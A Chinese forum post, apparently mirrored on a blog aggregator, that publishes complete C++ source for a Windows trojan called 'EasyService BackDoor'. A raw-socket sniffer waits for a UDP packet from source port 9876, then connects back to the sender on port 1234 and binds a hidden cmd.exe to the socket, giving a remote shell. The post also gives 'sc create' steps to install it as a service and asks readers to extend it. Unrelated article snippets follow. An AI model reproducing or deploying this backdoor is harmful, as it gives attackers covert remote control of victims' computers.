查看完整版本: weibo反弹后门的源代码

news/2024/7/3 21:15:37
导读:
   weibo反弹后门的源代码软件作者:weibo
  [b]headerf.h[/b]
  这里面放了公共函数,还有一些声明
  [code]#ifndef _BDH_
  #define _BDH_
  #include
  #include
  #include
  #include
  #pragma comment(lib,"ws2_32.lib")
  #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
  typedef struct _iphdr{
  unsigned char h_lenver;
  unsigned char tos;
  unsigned short total_len;
  unsigned short ident;
  unsigned short frag_and_frag;
  unsigned char ttl;
  unsigned char proto;
  unsigned short checksum;
  unsigned int sourceIP;
  unsigned int destIP;
  }IP_HEADER;
  typedef struct _udphdr{
  unsigned short uh_sport;
  unsigned short uh_dport;
  unsigned short uh_len;
  unsigned short uh_sum;
  }UDP_HEADER;
  extern int StartSniffer();
  extern void StartWSA();
  extern void returnMessage(SOCKET *Sock,char *msg);
  extern void CreatePipeInSock();
  extern int SetSocketHandle(SOCKET *Sock);
  extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
  #endif[/code]
  这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
  对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。
  最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
  [b]sniffer.cpp[/b]
  [code]#include "headerf.h"
  //---------------------------------------------------------------------------
  //-----------------------------
  char rcvbuf[65535];
  SOCKADDR_IN siSource;
  extern SOCKET ReSock;
  char SourceIPAddr[16];
  unsigned short SourcePort;
  bool CanCon=true;
  char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
  "+EasyService BackDoor/r/n"
  "+Coder By weibo([email]wbwap@sina.com[/email])/r/n"
  "+Site [url]http://www.s8s8.net[/url]/r/n"
  "++++++++++++++++++++++++++++++++++++/r/n";
  //-----------------------------
  void DecodeIpPack(char *buf,int irec);
  void DecodeUdpPack(char *buf,unsigned int buflen);
  int msGetip(char *ipin, char* ipout);
  void StartBackDoor(SOCKET *Sock,char *IPaddr);
  //------------------------------
  int StartSniffer()
  {
  SOCKET SniffSock;
  struct sockaddr_in addr;
  unsigned char LocalName[256];
  struct hostent * hp;
  int ntime=1000;
  int rec;
  DWORD dwBufferLen[10];
  DWORD dwBufferInLen = 1;
  DWORD dwBytesReturned = 0;
  char in[20]="",out[20]="";
  StartWSA();
  SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
  setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
  addr.sin_family = AF_INET;
  addr.sin_port = INADDR_ANY;
  msGetip(in,out);
  addr.sin_addr.S_un.S_addr = inet_addr(out);
  bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
  WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
  while(1)
  {
  memset(rcvbuf,0,sizeof(rcvbuf));
  rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
  DecodeIpPack(rcvbuf,rec);
  }
  }
  //---------------------------------------------------------------------------
  void DecodeIpPack(char *buf,int irec)
  {
  int iproto;
  int iIphlen;
  IP_HEADER *pIPheader;
  pIPheader = (IP_HEADER *)buf;
  iproto=pIPheader->proto;
  iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver &0xf);
  if (iproto == IPPROTO_UDP)
  {
  siSource.sin_addr.s_addr = pIPheader->sourceIP;
  strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
  //printf("包类型:%s/n源IP:%s ","UDP",SourceIPAddr);
  DecodeUdpPack(buf+iIphlen,irec);
  }
  }
  void DecodeUdpPack(char *buf,unsigned int buflen)
  {
  char str[10];
  UDP_HEADER *pUdpheader;
  pUdpheader=(UDP_HEADER *)buf;
  siSource.sin_port = pUdpheader->uh_sport;
  SourcePort=ntohs(siSource.sin_port);
  //这个地方就是判断是否启动进程的地方!!!!!!!!!!!!!!!!!!!
  //这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口 这些都可以改
  //最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
  //没时间了。。。。
  if(CanCon)
  {
  if(SourcePort == 9876)
  {
  StartBackDoor(&ReSock,SourceIPAddr);
  }
  CanCon=false;
  }
  }
  int msGetip(char *ipin, char* ipout)
  {
  char cHostName[80]="";
  if((gethostname(cHostName, 80)) == SOCKET_ERROR)
  return false;
  struct hostent *Host = gethostbyname(cHostName);
  if(NULL!=Host){
  struct in_addr addr;
  int i = 0;
  while(Host->h_addr_list[i] != NULL){
  memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
  if(addr.S_un.S_un_b.s_b1 == 192 &&addr.S_un.S_un_b.s_b2 == 168){
  if(strlen(ipin) == 0){
  strcpy(ipin, inet_ntoa(addr));
  }
  }else if(addr.S_un.S_un_b.s_b1 == 172 &&(addr.S_un.S_un_b.s_b2 >= 16 &&addr.S_un.S_un_b.s_b2 <= 131)){
  if(strlen(ipin) == 0){
  strcpy(ipin, inet_ntoa(addr));
  }
  }else if(addr.S_un.S_un_b.s_b1 == 10 ){
  if(strlen(ipin) == 0){
  strcpy(ipin, inet_ntoa(addr));
  }
  }else{
  if(strlen(ipout) == 0){
  strcpy(ipout, inet_ntoa(addr));
  }
  }
  i++;
  }
  if(strlen(ipout) == 0) {
  strcpy(ipout, ipin);
  }
  if(strlen(ipin) == 0){
  strcpy(ipin, ipout);
  }
  return 1;
  }
  return 0;
  }
  void StartBackDoor(SOCKET *Sock,char *IPaddr)
  {
  int rec;
  //StartWSA();
  SetSocketHandle(Sock);
  rec = ContoReServer(Sock,1234,IPaddr);
  returnMessage(Sock,WelcomeBuff);
  CreatePipeInSock();
  switch(rec)
  {
  case 0:
  closesocket(ReSock);
  CanCon = true;
  break;
  case 1:
  CanCon = false;
  break;
  }
  }[/code]
  这就是服务的主体。。。。。。。
  本来还有个自动加为服务的功能。。。没时间了,马上走了。收拾东西去。。~~~~ZV来写吧。。。。
  可以用 CreateService()函数。。
  服务这块需要大家来改进~~
  [code]con.cpp
  代码[/code]
  [code]#include "headerf.h"
  //---------------------------------------------------------------------------
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  SOCKET ReSock;
  //-------------------------------
  //---------------------------
  void StartWSA()
  {
  WSADATA wsa;
  
  WSAStartup(MAKEWORD(2,2),&wsa);
  }
  int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
  {
  int namelen;
  struct sockaddr_in server_addr;
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons(port);
  server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
  namelen = sizeof(server_addr);
  if(connect(*sock, (SOCKADDR *)&server_addr,namelen) <0 )
  return 0;
  return 1;
  }
  int SetSocketHandle(SOCKET *Sock)
  {
  *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  if(*Sock == SOCKET_ERROR)
  return 0;
  return 1;
  }
  void returnMessage(SOCKET *Sock,char *msg)
  {
  if (strlen(msg) <= 0)
  return;
  send(*Sock,msg,strlen(msg),0);
  }
  //下面这个是重订向si到Resock....等于一个简单的管道。。
  //没太多时间。为了省事。。能实现cmd.
  //最好能改写成管道CreatePipe()..
  //这样可以对数据进行分析。。以便加入别的控制。。。。。。
  void CreatePipeInSock()
  {
  memset(&si, 0, sizeof(si));
  si.cb = sizeof(si);
  si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
  si.wShowWindow=SW_HIDE;
  si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
  CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
  } [/code]
  [b]backdoor.cpp
  代码[/b]
  [code]#include "headerf.h"
  //---------------------------------------------------------------------------
  const int c_nEventCt = 3;
  const int c_nEventIndexPause = 0;
  const int c_nEventIndexContinue = 1;
  const int c_nEventIndexStop = 2;
  HANDLE g_arEventControl[c_nEventCt];
  SERVICE_STATUS_HANDLE g_ssh;
  DWORD g_dwStatus = SERVICE_STOPPED;
  #pragma argsused
  //服务状态给SCM
  void SetStatus(DWORD dwStatus)
  {
  SERVICE_STATUS ss =
  {
  SERVICE_WIN32_OWN_PROCESS,
  SERVICE_STOPPED,
  SERVICE_ACCEPT_PAUSE_CONTINUE|
  SERVICE_ACCEPT_STOP,
  NO_ERROR,
  0,
  1,
  5000
  };
  ss.dwCurrentState = dwStatus;
  SetServiceStatus(g_ssh,&ss);
  g_dwStatus = dwStatus;
  }
  //命令处理
  VOID __stdcall Handler(DWORD dwCtl)
  {
  switch(dwCtl)
  {
  case SERVICE_CONTROL_STOP:
  WSACleanup();
  break;
  default:
  //nomal
  break;
  }
  }
  bool HandleControl()
  {
  bool bContinueRunning(true);
  DWORD dwWait = WaitForMultipleObjects(
  c_nEventCt,
  g_arEventControl,
  FALSE,
  0
  );
  int nIndex = dwWait - WAIT_OBJECT_0;
  if(nIndex>=0 &&nIndex
  {
  ResetEvent(g_arEventControl[nIndex]);
  switch(nIndex)
  {
  case c_nEventIndexPause:
  SetStatus(SERVICE_PAUSED);
  break;
  case c_nEventIndexContinue:
  SetStatus(SERVICE_RUNNING);
  break;
  case c_nEventIndexStop:
  SetStatus(SERVICE_STOP_PENDING);
  bContinueRunning = false;
  break;
  }
  }
  return (bContinueRunning);
  }
  VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
  {
  g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
  g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
  g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);
  g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);
  SetStatus(SERVICE_START_PENDING);
  SetStatus(SERVICE_RUNNING);
  while(HandleControl())
  {
  if(g_dwStatus == SERVICE_RUNNING)
  {
  StartSniffer();
  }
  }
  for(int nEvent = 0;nEvent
  {
  CloseHandle(g_arEventControl[nEvent]);
  g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;
  }
  SetStatus(SERVICE_STOPPED);
  }
  int __stdcall WinMain(
  HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  LPSTR lpszCmdLine,
  int nCmdShow
  )
  {
  SERVICE_TABLE_ENTRY arSvc[] =
  {
  {"ConEvent",ServiceMain},
  {NULL,NULL}
  };
  StartServiceCtrlDispatcher(arSvc);
  return 0;
  } [/code]
  手动加为服务
  编译好后
  进入cmd
  运行 sc create 随便一个名字 binpath= path
  例子: sc create BackDoor binpath= c:/backdoor.exe
  这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88
  附件是我用bcb6写的

本文转自
http://bbs.syue.com/archiver/tid-12883.html

http://www.niftyadmin.cn/n/3650730.html

相关文章

看一个比较各种语言的帖子的一点看法

昨天看了一本讲CLR的书说一种语言包括语义和语法语义是基础&#xff0c;定义了所有的抽象性&#xff0c;是核心&#xff0c;是内在的东西。语法则是其实现&#xff0c;是表现形式&#xff0c;只是一个包装。理解了抽象性的语义才算是精通一门语言&#xff0c;与语法无关。对于一…

xmlhttp存在最大并发数,ajax设计应有所斟酌[zz]

这次认真的测试了三种浏览器&#xff08;ie/firefox/opera&#xff09;的xmlhttp并发行为&#xff0c;发现如果用户同时发出很多xmlhttp 异步请求&#xff0c;那么浏览器不是一股脑全把请求发出去&#xff0c;而是存在一个最大并发数。我的机器测试发现&#xff0c;ie和ff里面是…

windows2000本地登陆过程及利用方法

导读&#xff1a; 当你从Windows 2000 Professional or Server登录时,意见Windows 2000 用两种过程验证本地登录. Windows 2000尝试使用 Kerberos 作为基本验证方式. 如 果找不道 Key Distribution Center (KDC) 服务, Windows 会使用Windows NTLanManager(NTLM) 安全机制来验证…

Winlogon原理

导读&#xff1a; 自己写Winlogon必须实现以下技术细节: 1.首先建立WindowStation,名字必须为Winsta0;因为某内核模式的程序里有对Winsta0的引用 2.建立三个桌面;首先必须建立winlogon名字的桌面,因为win32k.sys里有对winlogon名字桌面 的引用;接着建立default桌面,因为explore…

SQL6031N 在 db2nodes.cfg 文件的行号1 上出错。原因码为10。

DB2数据库服务器 v8(Linux)在更改机器名后数据库服务异常&#xff0c;症状是当使用db2 list db directory命令或者其他命令的时候提示错误信息如下&#xff1a;SQL6031N 在 db2nodes.cfg 文件的行号"1" 上出错。原因码为"10"。解决的办法: 打开DB2实例所有…

Winlogon 的编译与深度研究

导读&#xff1a; 本文转载自http://bbs.ustc.edu.cn/cgi/bbstcon?boardKernel&fileM.1133080524.A 终于彻底解决了winlogon的编译 系统稳定运行1个月了&#xff0c;没有任何问题&#xff0c;没有lsass照样运行的很好。 证明lsass不是系统关键进程&#xff0c;只有system、…

NAF框架终于有了一个好的开端。

NAF框架是我们在原有的JAF框架的基础上&#xff0c;按其基本思想实现的.net与java结合的框架。第一个核心功能就是java与.net的互操作-远程调用。在两种环境下都使用动态代理和xml自定义序列化技术&#xff0c;类似于webservice/soap。 经过这几周的废寝忘食&#xff0c;我已经…

.net中HashTable的最大容量

http://www.xiaxin.net/Spring_Dev_Guide.rar